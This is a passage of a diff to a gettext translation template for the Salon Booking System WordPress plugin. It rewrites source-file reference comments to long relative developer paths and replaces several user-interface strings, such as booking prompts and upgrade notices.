..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:198\n+msgid \"years\"\n msgstr \"\"\n \n-#. translators: s%1$ will be replaced by service name, s%1$ will be replaced by booking time\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:139, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:139, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:139\n-msgid \"There is no attendants available for %1$s service at %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:136\n+msgid \"YES\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369\n-msgid \"Select your assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:166\n+msgid \"Yes\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:369\n-msgid \"Select your assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:436\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:436\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:48\n+msgid \"Yes, delete\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:30\n-msgid \"No more slots available until\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:116\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:116\n+msgid \"Yes, delete.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:84, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:84, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:84, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:84\n-msgid \"When do you want to come?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:523\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:523\n+msgid \"Yesterday\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:118, src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:111\n-msgid \"E-mail exists\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert_paid.php:5\n+msgid \"You already paid for this reservation.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:125, src\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:125, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:125, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount\u002FProfileUpdater.php:117\n-msgid \"Passwords are different\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:919\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:919\n+msgid \"You already selected service at\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:274, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:274, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:274\n-msgid \"Returning customer?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:770\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:770\n+msgid \"You applied this coupon maximum number of times\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:276, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:276, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:276\n-msgid \"Please fill out the form to checkout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:48\n+msgid \"You are currently not assigned to any shop\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:13\n-msgid \"Mobile phone can't be empty\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Ftrial\u002Fadmin_near.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_near.php:3\n+msgid \"\"\n+\"You are going to reach the bookings limit for the Salon Booking free version.\"\n+\" \u003Ca href=\\\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\\\" \"\n+\"target=\\\"blank\\\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:239\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:239\n+msgid \"You can refine and complete the full setup later in the plugin settings\"\n+msgstr \"\"\n+\n+#. %s will be replaced by the primary services count\n+#. %s will be replaced by the secondary services count\n+#. %d will be replaced by the primary services count\n+#. %d will be replaced by the secondary services count\n+#. %s will be replaced by the count primary services\n+#. %s will be replaced by the count secondary services\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:809\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:777\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:791\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:458\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleCalendarImport.php:471\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:809\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:822\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckServices.php:226\n+msgid \"You can select up to %d items\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FFbphoneStep.php:43\n-msgid \"Phone verification\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:375\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:375\n+msgid \"\"\n+\"You can still receive plugin updates, but for bug fixes and priority support,\"\n+\" please renew your support.\"\n msgstr \"\"\n \n-#. translators: s%1$ will be replaced by resource name, %2$s will be replaced by service name, s%3$ will be replaced by booking time\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:90\n-msgid \"Resource %1$s isn't available for %2$s service at %3$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:88\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:88\n+msgid \"\"\n+\"You can still receive updates, but for bug fixes and priority support, \"\n+\"please renew your support.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:76\n-msgid \"No one of the resources isn't available for %s service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 